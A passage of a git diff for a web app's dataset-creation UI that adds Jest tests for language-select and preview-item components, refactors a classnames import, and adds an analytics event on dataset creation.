+      expect(sidePanel).toBeInTheDocument()
+    })
+
+    it('should have correct padding for side panel', () => {
+      // Arrange
+      mockMediaType = 'pc'
+
+      // Act
+      const { container } = renderStepThree()
+
+      // Assert
+      const sidePanelWrapper = container.querySelector('.pr-8')
+      expect(sidePanelWrapper).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/datasets/create/step-two/index.tsx b/web/app/components/datasets/create/step-two/index.tsx
index 43be89c326..cb592aed5d 100644
--- a/web/app/components/datasets/create/step-two/index.tsx
+++ b/web/app/components/datasets/create/step-two/index.tsx
@@ -28,7 +28,7 @@ import escape from './escape'
 import { OptionCard } from './option-card'
 import LanguageSelect from './language-select'
 import { DelimiterInput, MaxLengthInput, OverlapInput } from './inputs'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { CrawlOptions, CrawlResultItem, CreateDocumentReq, CustomFile, DocumentItem, FullDocumentDetail, ParentMode, PreProcessingRule, ProcessRule, Rules, createDocumentResponse } from '@/models/datasets'
 import { ChunkingMode, DataSourceType, ProcessMode } from '@/models/datasets'
 
@@ -64,6 +64,7 @@ import { noop } from 'lodash-es'
 import { useDocLink } from '@/context/i18n'
 import { useInvalidDatasetList } from '@/service/knowledge/use-dataset'
 import { checkShowMultiModalTip } from '../../settings/utils'
+import { trackEvent } from '@/app/components/base/amplitude'
 
 const TextLabel: FC<PropsWithChildren> = (props) => {
   return <label className='system-sm-semibold text-text-secondary'>{props.children}</label>
@@ -568,6 +569,10 @@ const StepTwo = ({
     if (mutateDatasetRes)
       mutateDatasetRes()
     invalidDatasetList()
+    trackEvent('create_datasets', {
+      data_source_type: dataSourceType,
+      indexing_technique: getIndexing_technique(),
+    })
     onStepChange?.(+1)
     if (isSetting)
       onSave?.()
diff --git a/web/app/components/datasets/create/step-two/language-select/index.spec.tsx b/web/app/components/datasets/create/step-two/language-select/index.spec.tsx
new file mode 100644
index 0000000000..ad9611668d
--- /dev/null
+++ b/web/app/components/datasets/create/step-two/language-select/index.spec.tsx
@@ -0,0 +1,596 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import React from 'react'
+import LanguageSelect from './index'
+import type { ILanguageSelectProps } from './index'
+import { languages } from '@/i18n-config/language'
+
+// Get supported languages for test assertions
+const supportedLanguages = languages.filter(lang => lang.supported)
+
+// Test data builder for props
+const createDefaultProps = (overrides?: Partial<ILanguageSelectProps>): ILanguageSelectProps => ({
+  currentLanguage: 'English',
+  onSelect: jest.fn(),
+  disabled: false,
+  ...overrides,
+})
+
+describe('LanguageSelect', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // ==========================================
+  // Rendering Tests - Verify component renders correctly
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<LanguageSelect {...props} />)
+
+      // Assert
+      expect(screen.getByText('English')).toBeInTheDocument()
+    })
+
+    it('should render current language text', () => {
+      // Arrange
+      const props = createDefaultProps({ currentLanguage: 'Chinese Simplified' })
+
+      // Act
+      render(<LanguageSelect {...props} />)
+
+      // Assert
+      expect(screen.getByText('Chinese Simplified')).toBeInTheDocument()
+    })
+
+    it('should render dropdown arrow icon', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<LanguageSelect {...props} />)
+
+      // Assert - RiArrowDownSLine renders as SVG
+      const svgIcon = container.querySelector('svg')
+      expect(svgIcon).toBeInTheDocument()
+    })
+
+    it('should render all supported languages in dropdown when opened', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<LanguageSelect {...props} />)
+
+      // Act - Click button to open dropdown
+      const button = screen.getByRole('button')
+      fireEvent.click(button)
+
+      // Assert - All supported languages should be visible
+      // Use getAllByText because current language appears both in button and dropdown
+      supportedLanguages.forEach((lang) => {
+        expect(screen.getAllByText(lang.prompt_name).length).toBeGreaterThanOrEqual(1)
+      })
+    })
+
+    it('should render check icon for selected language', () => {
+      // Arrange
+      const selectedLanguage = 'Japanese'
+      const props = createDefaultProps({ currentLanguage: selectedLanguage })
+      render(<LanguageSelect {...props} />)
+
+      // Act
+      const button = screen.getByRole('button')
+      fireEvent.click(button)
+
+      // Assert - The selected language option should have a check icon
+      const languageOptions = screen.getAllByText(selectedLanguage)
+      // One in the button, one in the dropdown list
+      expect(languageOptions.length).toBeGreaterThanOrEqual(1)
+    })
+  })
+
+  // ==========================================
+  // Props Testing - Verify all prop variations work correctly
+  // ==========================================
+  describe('Props', () => {
+    describe('currentLanguage prop', () => {
+      it('should display English when currentLanguage is English', () => {
+        const props = createDefaultProps({ currentLanguage: 'English' })
+        render(<LanguageSelect {...props} />)
+        expect(screen.getByText('English')).toBeInTheDocument()
+      })
+
+      it('should display Chinese Simplified when currentLanguage is Chinese Simplified', () => {
+        const props = createDefaultProps({ currentLanguage: 'Chinese Simplified' })
+        render(<LanguageSelect {...props} />)
+        expect(screen.getByText('Chinese Simplified')).toBeInTheDocument()
+      })
+
+      it('should display Japanese when currentLanguage is Japanese', () => {
+        const props = createDefaultProps({ currentLanguage: 'Japanese' })
+        render(<LanguageSelect {...props} />)
+        expect(screen.getByText('Japanese')).toBeInTheDocument()
+      })
+
+      it.each(supportedLanguages.map(l => l.prompt_name))(
+        'should display %s as current language',
+        (language) => {
+          const props = createDefaultProps({ currentLanguage: language })
+          render(<LanguageSelect {...props} />)
+          expect(screen.getByText(language)).toBeInTheDocument()
+        },
+      )
+    })
+
+    describe('disabled prop', () => {
+      it('should have disabled button when disabled is true', () => {
+        // Arrange
+        const props = createDefaultProps({ disabled: true })
+
+        // Act
+        render(<LanguageSelect {...props} />)
+
+        // Assert
+        const button = screen.getByRole('button')
+        expect(button).toBeDisabled()
+      })
+
+      it('should have enabled button when disabled is false', () => {
+        // Arrange
+        const props = createDefaultProps({ disabled: false })
+
+        // Act
+        render(<LanguageSelect {...props} />)
+
+        // Assert
+        const button = screen.getByRole('button')
+        expect(button).not.toBeDisabled()
+      })
+
+      it('should have enabled button when disabled is undefined', () => {
+        // Arrange
+        const props = createDefaultProps()
+        delete (props as Partial<ILanguageSelectProps>).disabled
+
+        // Act
+        render(<LanguageSelect {...props} />)
+
+        // Assert
+        const button = screen.getByRole('button')
+        expect(button).not.toBeDisabled()
+      })
+
+      it('should apply disabled styling when disabled is true', () => {
+        // Arrange
+        const props = createDefaultProps({ disabled: true })
+
+        // Act
+        const { container } = render(<LanguageSelect {...props} />)
+
+        // Assert - Check for disabled class on text elements
+        const disabledTextElement = container.querySelector('.text-components-button-tertiary-text-disabled')
+        expect(disabledTextElement).toBeInTheDocument()
+      })
+
+      it('should apply cursor-not-allowed styling when disabled', () => {
+        // Arrange
+        const props = createDefaultProps({ disabled: true })
+
+        // Act
+        const { container } = render(<LanguageSelect {...props} />)
+
+        // Assert
+        const elementWithCursor = container.querySelector('.cursor-not-allowed')
+        expect(elementWithCursor).toBeInTheDocument()
+      })
+    })
+
+    describe('onSelect prop', () => {
+      it('should be callable as a function', () => {
+        const mockOnSelect = jest.fn()
+        const props = createDefaultProps({ onSelect: mockOnSelect })
+        render(<LanguageSelect {...props} />)
+
+        // Open dropdown and click a language
+        const button = screen.getByRole('button')
+        fireEvent.click(button)
+
+        const germanOption = screen.getByText('German')
+        fireEvent.click(germanOption)
+
+        expect(mockOnSelect).toHaveBeenCalledWith('German')
+      })
+    })
+  })
+
+  // ==========================================
+  // User Interactions - Test event handlers
+  // ==========================================
+  describe('User Interactions', () => {
+    it('should open dropdown when button is clicked', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<LanguageSelect {...props} />)
+
+      // Act
+      const button = screen.getByRole('button')
+      fireEvent.click(button)
+
+      // Assert - Check if dropdown content is visible
+      expect(screen.getAllByText('English').length).toBeGreaterThanOrEqual(1)
+    })
+
+    it('should call onSelect when a language option is clicked', () => {
+      // Arrange
+      const mockOnSelect = jest.fn()
+      const props = createDefaultProps({ onSelect: mockOnSelect })
+      render(<LanguageSelect {...props} />)
+
+      // Act
+      const button = screen.getByRole('button')
+      fireEvent.click(button)
+      const frenchOption = screen.getByText('French')
+      fireEvent.click(frenchOption)
+
+      // Assert
+      expect(mockOnSelect).toHaveBeenCalledTimes(1)
+      expect(mockOnSelect).toHaveBeenCalledWith('French')
+    })
+
+    it('should call onSelect with correct language when selecting different languages', () => {
+      // Arrange
+      const mockOnSelect = jest.fn()
+      const props = createDefaultProps({ onSelect: mockOnSelect })
+      render(<LanguageSelect {...props} />)
+
+      // Act & Assert - Test multiple language selections
+      const testLanguages = ['Korean', 'Spanish', 'Italian']
+
+      testLanguages.forEach((lang) => {
+        mockOnSelect.mockClear()
+        const button = screen.getByRole('button')
+        fireEvent.click(button)
+        const languageOption = screen.getByText(lang)
+        fireEvent.click(languageOption)
+        expect(mockOnSelect).toHaveBeenCalledWith(lang)
+      })
+    })
+
+    it('should not open dropdown when disabled', () => {
+      // Arrange
+      const props = createDefaultProps({ disabled: true })
+      render(<LanguageSelect {...props} />)
+
+      // Act
+      const button = screen.getByRole('button')
+      fireEvent.click(button)
+
+      // Assert - Dropdown should not open, only one instance of the current language should exist
+      const englishElements = screen.getAllByText('English')
+      expect(englishElements.length).toBe(1) // Only the button text, not dropdown
+    })
+
+    it('should not call onSelect when component is disabled', () => {
+      // Arrange
+      const mockOnSelect = jest.fn()
+      const props = createDefaultProps({ onSelect: mockOnSelect, disabled: true })
+      render(<LanguageSelect {...props} />)
+
+      // Act
+      const button = screen.getByRole('button')
+      fireEvent.click(button)
+
+      // Assert
+      expect(mockOnSelect).not.toHaveBeenCalled()
+    })
+
+    it('should handle rapid consecutive clicks', () => {
+      // Arrange
+      const mockOnSelect = jest.fn()
+      const props = createDefaultProps({ onSelect: mockOnSelect })
+      render(<LanguageSelect {...props} />)
+
+      // Act - Rapid clicks
+      const button = screen.getByRole('button')
+      fireEvent.click(button)
+      fireEvent.click(button)
+      fireEvent.click(button)
+
+      // Assert - Component should not crash
+      expect(button).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Component Memoization - Test React.memo behavior
+  // ==========================================
+  describe('Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      // Assert - Check component has memo wrapper
+      expect(LanguageSelect.$$typeof).toBe(Symbol.for('react.memo'))
+    })
+
+    it('should not re-render when props remain the same', () => {
+      // Arrange
+      const mockOnSelect = jest.fn()
+      const props = createDefaultProps({ onSelect: mockOnSelect })
+      const renderSpy = jest.fn()
+
+      // Create a wrapper component to track renders
+      const TrackedLanguageSelect: React.FC<ILanguageSelectProps> = (trackedProps) => {
+        renderSpy()
+        return <LanguageSelect {...trackedProps} />
+      }
+      const MemoizedTracked = React.memo(TrackedLanguageSelect)
+
+      // Act
+      const { rerender } = render(<MemoizedTracked {...props} />)
+      rerender(<MemoizedTracked {...props} />)
+
+      // Assert - Should only render once due to same props
+      expect(renderSpy).toHaveBeenCalledTimes(1)
+    })
+
+    it('should re-render when currentLanguage changes', () => {
+      // Arrange
+      const props = createDefaultProps({ currentLanguage: 'English' })
+
+      // Act
+      const { rerender } = render(<LanguageSelect {...props} />)
+      expect(screen.getByText('English')).toBeInTheDocument()
+
+      rerender(<LanguageSelect {...props} currentLanguage="French" />)
+
+      // Assert
+      expect(screen.getByText('French')).toBeInTheDocument()
+    })
+
+    it('should re-render when disabled changes', () => {
+      // Arrange
+      const props = createDefaultProps({ disabled: false })
+
+      // Act
+      const { rerender } = render(<LanguageSelect {...props} />)
+      expect(screen.getByRole('button')).not.toBeDisabled()
+
+      rerender(<LanguageSelect {...props} disabled={true} />)
+
+      // Assert
+      expect(screen.getByRole('button')).toBeDisabled()
+    })
+  })
+
+  // ==========================================
+  // Edge Cases - Test boundary conditions and error handling
+  // ==========================================
+  describe('Edge Cases', () => {
+    it('should handle empty string as currentLanguage', () => {
+      // Arrange
+      const props = createDefaultProps({ currentLanguage: '' })
+
+      // Act
+      render(<LanguageSelect {...props} />)
+
+      // Assert - Component should still render
+      const button = screen.getByRole('button')
+      expect(button).toBeInTheDocument()
+    })
+
+    it('should handle non-existent language as currentLanguage', () => {
+      // Arrange
+      const props = createDefaultProps({ currentLanguage: 'NonExistentLanguage' })
+
+      // Act
+      render(<LanguageSelect {...props} />)
+
+      // Assert - Should display the value even if not in list
+      expect(screen.getByText('NonExistentLanguage')).toBeInTheDocument()
+    })
+
+    it('should handle special characters in language names', () => {
+      // Arrange - Turkish has special character in prompt_name
+      const props = createDefaultProps({ currentLanguage: 'Türkçe' })
+
+      // Act
+      render(<LanguageSelect {...props} />)
+
+      // Assert
+      expect(screen.getByText('Türkçe')).toBeInTheDocument()
+    })
+
+    it('should handle very long language names', () => {
+      // Arrange
+      const longLanguageName = 'A'.repeat(100)
+      const props = createDefaultProps({ currentLanguage: longLanguageName })
+
+      // Act
+      render(<LanguageSelect {...props} />)
+
+      // Assert - Should not crash and should display the text
+      expect(screen.getByText(longLanguageName)).toBeInTheDocument()
+    })
+
+    it('should render correct number of language options', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<LanguageSelect {...props} />)
+
+      // Act
+      const button = screen.getByRole('button')
+      fireEvent.click(button)
+
+      // Assert - Should show all supported languages
+      const expectedCount = supportedLanguages.length
+      // Each language appears in the dropdown (use getAllByText because current language appears twice)
+      supportedLanguages.forEach((lang) => {
+        expect(screen.getAllByText(lang.prompt_name).length).toBeGreaterThanOrEqual(1)
+      })
+      expect(supportedLanguages.length).toBe(expectedCount)
+    })
+
+    it('should only show supported languages in dropdown', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<LanguageSelect {...props} />)
+
+      // Act
+      const button = screen.getByRole('button')
+      fireEvent.click(button)
+
+      // Assert - All displayed languages should be supported
+      const allLanguages = languages
+      const unsupportedLanguages = allLanguages.filter(lang => !lang.supported)
+
+      unsupportedLanguages.forEach((lang) => {
+        expect(screen.queryByText(lang.prompt_name)).not.toBeInTheDocument()
+      })
+    })
+
+    it('should handle undefined onSelect gracefully when clicking', () => {
+      // Arrange - This tests TypeScript boundary, but runtime should not crash
+      const props = createDefaultProps()
+
+      // Act
+      render(<LanguageSelect {...props} />)
+      const button = screen.getByRole('button')
+      fireEvent.click(button)
+      const option = screen.getByText('German')
+
+      // Assert - Should not throw
+      expect(() => fireEvent.click(option)).not.toThrow()
+    })
+
+    it('should maintain selection state visually with check icon', () => {
+      // Arrange
+      const props = createDefaultProps({ currentLanguage: 'Russian' })
+      const { container } = render(<LanguageSelect {...props} />)
+
+      // Act
+      const button = screen.getByRole('button')
+      fireEvent.click(button)
+
+      // Assert - Find the check icon (RiCheckLine) in the dropdown
+      // The selected option should have a check icon next to it
+      const checkIcons = container.querySelectorAll('svg.text-text-accent')
+      expect(checkIcons.length).toBeGreaterThanOrEqual(1)
+    })
+  })
+
+  // ==========================================
+  // Accessibility - Basic accessibility checks
+  // ==========================================
+  describe('Accessibility', () => {
+    it('should have accessible button element', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<LanguageSelect {...props} />)
+
+      // Assert
+      const button = screen.getByRole('button')
+      expect(button).toBeInTheDocument()
+    })
+
+    it('should have clickable language options', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<LanguageSelect {...props} />)
+
+      // Act
+      const button = screen.getByRole('button')
+      fireEvent.click(button)
+
+      // Assert - Options should be clickable (have cursor-pointer class)
+      const options = screen.getAllByText(/English|French|German|Japanese/i)
+      expect(options.length).toBeGreaterThan(0)
+    })
+  })
+
+  // ==========================================
+  // Integration with Popover - Test Popover behavior
+  // ==========================================
+  describe('Popover Integration', () => {
+    it('should use manualClose prop on Popover', () => {
+      // Arrange
+      const mockOnSelect = jest.fn()
+      const props = createDefaultProps({ onSelect: mockOnSelect })
+
+      // Act
+      render(<LanguageSelect {...props} />)
+      const button = screen.getByRole('button')
+      fireEvent.click(button)
+
+      // Assert - Popover should be open
+      expect(screen.getAllByText('English').length).toBeGreaterThanOrEqual(1)
+    })
+
+    it('should have correct popup z-index class', () => {
+      // Arrange
+      const props = createDefaultProps()
+      const { container } = render(<LanguageSelect {...props} />)
+
+      // Act
+      const button = screen.getByRole('button')
+      fireEvent.click(button)
+
+      // Assert - Check for z-20 class (popupClassName='z-20')
+      // This is applied to the Popover
+      expect(container.querySelector('.z-20')).toBeTruthy()
+    })
+  })
+
+  // ==========================================
+  // Styling Tests - Verify correct CSS classes applied
+  // ==========================================
+  describe('Styling', () => {
+    it('should apply tertiary button styling', () => {
+      // Arrange
+      const props = createDefaultProps()
+      const { container } = render(<LanguageSelect {...props} />)
+
+      // Assert - Check for tertiary button classes (uses ! prefix for important)
+      expect(container.querySelector('.\\!bg-components-button-tertiary-bg')).toBeInTheDocument()
+    })
+
+    it('should apply hover styling class to options', () => {
+      // Arrange
+      const props = createDefaultProps()
+      const { container } = render(<LanguageSelect {...props} />)
+
+      // Act
+      const button = screen.getByRole('button')
+      fireEvent.click(button)
+
+      // Assert - Options should have hover class
+      const optionWithHover = container.querySelector('.hover\\:bg-state-base-hover')
+      expect(optionWithHover).toBeInTheDocument()
+    })
+
+    it('should apply correct text styling to language options', () => {
+      // Arrange
+      const props = createDefaultProps()
+      const { container } = render(<LanguageSelect {...props} />)
+
+      // Act
+      const button = screen.getByRole('button')
+      fireEvent.click(button)
+
+      // Assert - Check for system-sm-medium class on options
+      const styledOption = container.querySelector('.system-sm-medium')
+      expect(styledOption).toBeInTheDocument()
+    })
+
+    it('should apply disabled styling to icon when disabled', () => {
+      // Arrange
+      const props = createDefaultProps({ disabled: true })
+      const { container } = render(<LanguageSelect {...props} />)
+
+      // Assert - Check for disabled text color on icon
+      const disabledIcon = container.querySelector('.text-components-button-tertiary-text-disabled')
+      expect(disabledIcon).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/datasets/create/step-two/language-select/index.tsx b/web/app/components/datasets/create/step-two/language-select/index.tsx
index 2fd8c143f9..da3807b95f 100644
--- a/web/app/components/datasets/create/step-two/language-select/index.tsx
+++ b/web/app/components/datasets/create/step-two/language-select/index.tsx
@@ -2,7 +2,7 @@
 import type { FC } from 'react'
 import React from 'react'
 import { RiArrowDownSLine, RiCheckLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Popover from '@/app/components/base/popover'
 import { languages } from '@/i18n-config/language'
 
diff --git a/web/app/components/datasets/create/step-two/option-card.tsx b/web/app/components/datasets/create/step-two/option-card.tsx
index 7e901c913a..9a43513df1 100644
--- a/web/app/components/datasets/create/step-two/option-card.tsx
+++ b/web/app/components/datasets/create/step-two/option-card.tsx
@@ -1,6 +1,6 @@
 import type { ComponentProps, FC, ReactNode } from 'react'
 import Image from 'next/image'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const TriangleArrow: FC<ComponentProps<'svg'>> = props => (
   <svg xmlns="http://www.w3.org/2000/svg" width="24" height="11" viewBox="0 0 24 11" fill="none" {...props}>
@@ -20,11 +20,9 @@ type OptionCardHeaderProps = {
 
 export const OptionCardHeader: FC<OptionCardHeaderProps> = (props) => {
   const { icon, title, description, isActive, activeClassName, effectImg, disabled } = props
-  return <div className={classNames(
-    'relative flex h-full overflow-hidden rounded-t-xl',
+  return <div className={cn('relative flex h-full overflow-hidden rounded-t-xl',
     isActive && activeClassName,
-    !disabled && 'cursor-pointer',
-  )}>
+    !disabled && 'cursor-pointer')}>
     <div className='relative flex size-14 items-center justify-center overflow-hidden'>
       {isActive && effectImg && <Image src={effectImg} className='absolute left-0 top-0 h-full w-full' alt='' width={56} height={56} />}
       <div className='p-1'>
@@ -34,7 +32,7 @@ export const OptionCardHeader: FC<OptionCardHeaderProps> = (props) => {
       </div>
     </div>
     <TriangleArrow
-      className={classNames('absolute -bottom-1.5 left-4 text-transparent', isActive && 'text-components-panel-bg')}
+      className={cn('absolute -bottom-1.5 left-4 text-transparent', isActive && 'text-components-panel-bg')}
     />
     <div className='flex-1 space-y-0.5 py-3 pr-4'>
       <div className='system-md-semibold text-text-secondary'>{title}</div>
@@ -66,14 +64,12 @@ export const OptionCard: FC<OptionCardProps> = (
   const { icon, className, title, description, isActive, children, actions, activeHeaderClassName, style, effectImg, onSwitched, noHighlight, disabled, ...rest } = props
   return (
     <div
-      className={classNames(
-        'rounded-xl bg-components-option-card-option-bg shadow-xs',
+      className={cn('rounded-xl bg-components-option-card-option-bg shadow-xs',
         (isActive && !noHighlight)
           ? 'border-[1.5px] border-components-option-card-option-selected-border'
           : 'border border-components-option-card-option-border',
         disabled && 'pointer-events-none opacity-50',
-        className,
-      )}
+        className)}
       style={{
         ...style,
       }}
diff --git a/web/app/components/datasets/create/step-two/preview-item/index.spec.tsx b/web/app/components/datasets/create/step-two/preview-item/index.spec.tsx
new file mode 100644
index 0000000000..432d070ea9
--- /dev/null
+++ b/web/app/components/datasets/create/step-two/preview-item/index.spec.tsx
@@ -0,0 +1,803 @@
+import { render, screen } from '@testing-library/react'
+import React from 'react'
+import PreviewItem, { PreviewType } from './index'
+import type { IPreviewItemProps } from './index'
+
+// Test data builder for props
+const createDefaultProps = (overrides?: Partial<IPreviewItemProps>): IPreviewItemProps => ({
+  type: PreviewType.TEXT,
+  index: 1,
+  content: 'Test content',
+  ...overrides,
+})
+
+const createQAProps = (overrides?: Partial<IPreviewItemProps>): IPreviewItemProps => ({
+  type: PreviewType.QA,
+  index: 1,
+  qa: {
+    question: 'Test question',
+    answer: 'Test answer',
+  },
+  ...overrides,
+})
+
+describe('PreviewItem', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // ==========================================
+  // Rendering Tests - Verify component renders correctly
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<PreviewItem {...props} />)
+
+      // Assert
+      expect(screen.getByText('Test content')).toBeInTheDocument()
+    })
+
+    it('should render with TEXT type', () => {
+      // Arrange
+      const props = createDefaultProps({ content: 'Sample text content' })
+
+      // Act
+      render(<PreviewItem {...props} />)
+
+      // Assert
+      expect(screen.getByText('Sample text content')).toBeInTheDocument()
+    })
+
+    it('should render with QA type', () => {
+      // Arrange
+      const props = createQAProps()
+
+      // Act
+      render(<PreviewItem {...props} />)
+
+      // Assert
+      expect(screen.getByText('Q')).toBeInTheDocument()
+      expect(screen.getByText('A')).toBeInTheDocument()
+      expect(screen.getByText('Test question')).toBeInTheDocument()
+      expect(screen.getByText('Test answer')).toBeInTheDocument()
+    })
+
+    it('should render sharp icon (#) with formatted index', () => {
+      // Arrange
+      const props = createDefaultProps({ index: 5 })
+
+      // Act
+      const { container } = render(<PreviewItem {...props} />)
+
+      // Assert - Index should be padded to 3 digits
+      expect(screen.getByText('005')).toBeInTheDocument()
+      // Sharp icon SVG should exist
+      const svgElements = container.querySelectorAll('svg')
+      expect(svgElements.length).toBeGreaterThanOrEqual(1)
+    })
+
+    it('should render character count for TEXT type', () => {
+      // Arrange
+      const content = 'Hello World' // 11 characters
+      const props = createDefaultProps({ content })
+
+      // Act
+      render(<PreviewItem {...props} />)
+
+      // Assert - Shows character count with translation key
+      expect(screen.getByText(/11/)).toBeInTheDocument()
+      expect(screen.getByText(/datasetCreation.stepTwo.characters/)).toBeInTheDocument()
+    })
+
+    it('should render character count for QA type', () => {
+      // Arrange
+      const props = createQAProps({
+        qa: {
+          question: 'Hello', // 5 characters
+          answer: 'World', // 5 characters - total 10
+        },
+      })
+
+      // Act
+      render(<PreviewItem {...props} />)
+
+      // Assert - Shows combined character count
+      expect(screen.getByText(/10/)).toBeInTheDocument()
+    })
+
+    it('should render text icon SVG', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<PreviewItem {...props} />)
+
+      // Assert - Should have SVG icons
+      const svgElements = container.querySelectorAll('svg')
+      expect(svgElements.length).toBe(2) // Sharp icon and text icon
+    })
+  })
+
+  // ==========================================
+  // Props Testing - Verify all prop variations work correctly
+  // ==========================================
+  describe('Props', () => {
+    describe('type prop', () => {
+      it('should render TEXT content when type is TEXT', () => {
+        // Arrange
+        const props = createDefaultProps({ type: PreviewType.TEXT, content: 'Text mode content' })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.getByText('Text mode content')).toBeInTheDocument()
+        expect(screen.queryByText('Q')).not.toBeInTheDocument()
+        expect(screen.queryByText('A')).not.toBeInTheDocument()
+      })
+
+      it('should render QA content when type is QA', () => {
+        // Arrange
+        const props = createQAProps({
+          type: PreviewType.QA,
+          qa: { question: 'My question', answer: 'My answer' },
+        })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.getByText('Q')).toBeInTheDocument()
+        expect(screen.getByText('A')).toBeInTheDocument()
+        expect(screen.getByText('My question')).toBeInTheDocument()
+        expect(screen.getByText('My answer')).toBeInTheDocument()
+      })
+
+      it('should use TEXT as default type when type is "text"', () => {
+        // Arrange
+        const props = createDefaultProps({ type: 'text' as PreviewType, content: 'Default type content' })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.getByText('Default type content')).toBeInTheDocument()
+      })
+
+      it('should use QA type when type is "QA"', () => {
+        // Arrange
+        const props = createQAProps({ type: 'QA' as PreviewType })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.getByText('Q')).toBeInTheDocument()
+        expect(screen.getByText('A')).toBeInTheDocument()
+      })
+    })
+
+    describe('index prop', () => {
+      it.each([
+        [1, '001'],
+        [5, '005'],
+        [10, '010'],
+        [99, '099'],
+        [100, '100'],
+        [999, '999'],
+        [1000, '1000'],
+      ])('should format index %i as %s', (index, expected) => {
+        // Arrange
+        const props = createDefaultProps({ index })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.getByText(expected)).toBeInTheDocument()
+      })
+
+      it('should handle index 0', () => {
+        // Arrange
+        const props = createDefaultProps({ index: 0 })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.getByText('000')).toBeInTheDocument()
+      })
+
+      it('should handle large index numbers', () => {
+        // Arrange
+        const props = createDefaultProps({ index: 12345 })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.getByText('12345')).toBeInTheDocument()
+      })
+    })
+
+    describe('content prop', () => {
+      it('should render content when provided', () => {
+        // Arrange
+        const props = createDefaultProps({ content: 'Custom content here' })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.getByText('Custom content here')).toBeInTheDocument()
+      })
+
+      it('should handle multiline content', () => {
+        // Arrange
+        const multilineContent = 'Line 1\nLine 2\nLine 3'
+        const props = createDefaultProps({ content: multilineContent })
+
+        // Act
+        const { container } = render(<PreviewItem {...props} />)
+
+        // Assert - Check content is rendered (multiline text is in pre-line div)
+        const contentDiv = container.querySelector('[style*="white-space: pre-line"]')
+        expect(contentDiv?.textContent).toContain('Line 1')
+        expect(contentDiv?.textContent).toContain('Line 2')
+        expect(contentDiv?.textContent).toContain('Line 3')
+      })
+
+      it('should preserve whitespace with pre-line style', () => {
+        // Arrange
+        const props = createDefaultProps({ content: 'Text with  spaces' })
+
+        // Act
+        const { container } = render(<PreviewItem {...props} />)
+
+        // Assert - Check for whiteSpace: pre-line style
+        const contentDiv = container.querySelector('[style*="white-space: pre-line"]')
+        expect(contentDiv).toBeInTheDocument()
+      })
+    })
+
+    describe('qa prop', () => {
+      it('should render question and answer when qa is provided', () => {
+        // Arrange
+        const props = createQAProps({
+          qa: {
+            question: 'What is testing?',
+            answer: 'Testing is verification.',
+          },
+        })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.getByText('What is testing?')).toBeInTheDocument()
+        expect(screen.getByText('Testing is verification.')).toBeInTheDocument()
+      })
+
+      it('should render Q and A labels', () => {
+        // Arrange
+        const props = createQAProps()
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.getByText('Q')).toBeInTheDocument()
+        expect(screen.getByText('A')).toBeInTheDocument()
+      })
+
+      it('should handle multiline question', () => {
+        // Arrange
+        const props = createQAProps({
+          qa: {
+            question: 'Question line 1\nQuestion line 2',
+            answer: 'Answer',
+          },
+        })
+
+        // Act
+        const { container } = render(<PreviewItem {...props} />)
+
+        // Assert - Check content is in pre-line div
+        const preLineDivs = container.querySelectorAll('[style*="white-space: pre-line"]')
+        const questionDiv = Array.from(preLineDivs).find(div => div.textContent?.includes('Question line 1'))
+        expect(questionDiv).toBeTruthy()
+        expect(questionDiv?.textContent).toContain('Question line 2')
+      })
+
+      it('should handle multiline answer', () => {
+        // Arrange
+        const props = createQAProps({
+          qa: {
+            question: 'Question',
+            answer: 'Answer line 1\nAnswer line 2',
+          },
+        })
+
+        // Act
+        const { container } = render(<PreviewItem {...props} />)
+
+        // Assert - Check content is in pre-line div
+        const preLineDivs = container.querySelectorAll('[style*="white-space: pre-line"]')
+        const answerDiv = Array.from(preLineDivs).find(div => div.textContent?.includes('Answer line 1'))
+        expect(answerDiv).toBeTruthy()
+        expect(answerDiv?.textContent).toContain('Answer line 2')
+      })
+    })
+  })
+
+  // ==========================================
+  // Component Memoization - Test React.memo behavior
+  // ==========================================
+  describe('Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      // Assert - Check component has memo wrapper
+      expect(PreviewItem.$$typeof).toBe(Symbol.for('react.memo'))
+    })
+
+    it('should not re-render when props remain the same', () => {
+      // Arrange
+      const props = createDefaultProps()
+      const renderSpy = jest.fn()
+
+      // Create a wrapper component to track renders
+      const TrackedPreviewItem: React.FC<IPreviewItemProps> = (trackedProps) => {
+        renderSpy()
